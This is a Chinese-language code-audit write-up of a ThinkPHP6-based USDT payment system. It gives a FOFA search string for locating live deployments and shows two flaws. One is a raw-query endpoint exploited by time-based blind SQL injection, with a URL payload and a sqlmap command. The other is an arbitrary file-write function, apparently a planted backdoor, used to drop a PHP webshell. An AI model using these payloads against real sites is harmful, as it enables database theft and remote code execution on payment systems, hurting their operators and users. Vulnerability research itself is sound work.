代码审计-某TP6对接U支付系统

前言

本次审计的是一个基于tinkphp6框架的U支付系统

在fofa上面搜索:"/usdtmerchant/login/reg.html"便可以找到相关的网站,要注意的是有些网站已经进行了改进,再也不能利用该文章中的漏洞了

前台sql注入漏洞

身为一个普通用户,我们能够访问的也就只有index.php,所以我们要从app/index/controller/Index.php开始进行审计

我是在已经知道有该漏洞的情况下进行复现的,所以在该文件中我直接搜索关键字Db,查查是否有可以利用的函数,如下:

1
public function send(){ $dd =  Db::query(urldecode($_REQUEST['query']));}

该方法允许直接对变量query进行赋值,输入相关的搜索语句,直接运行

该方法并没有对输入的内容进行验证,所以可以尝试是否存在sql注入漏洞

正是因为语句是我们自己输入的,所以并不存在联合注入漏洞,无法报错注入

尝试后可知该方法只要搜索语句正确状态码便是200,错误的话就是400,所以无法利用布尔盲注,因此就剩一个时间盲注

输入:/index/index/send?query=select+if(length(database())=3,sleep(3),1)

image-20240817210111483

由图可知数据库名字长度为3,存在时间盲注

剩下来的步骤可以利用脚本来进行,也可以利用sqlmap来进行

sqlmap的语句如下:

1
python sqlmap.py -u "http://127.0.0.1:81/index/index/send?query=*" --level=3 --dbms=mysql

前台任意文件写入漏洞

首先搜索一下thinkphp封装的文件上传方法,无果

接着尝试搜索一下文件上传的危险函数,有果,为函数get_trc20(),如下:

1
2
3
4
5
public function get_trc20(){
$version=Db::name('system_config')->where(['id'=>72])->order('id desc')- >save(array("auth_key"=>$_REQUEST['key']));
$versionsss=Db::name('system_config')->where(['id'=>72])->find();
file_put_contents($_GET['name'].".php",base64_decode($versionsss['auth_key']));
}

该函数中存在file_put_contents方法,可以任意写入内容,没有任何过滤,并且文件名后缀还是php(纯纯后门我觉得)

由该函数可知,我们只需要对变量key赋值base64编码后的php文件内容,然后对变量name赋值一个文件名便可以了

image-20240817214930725

上传成功,访问该文件:/fw.php,如下:

image-20240817215252813

结语

这个代码审计其实相比于其他几个都更加简单,没多大困难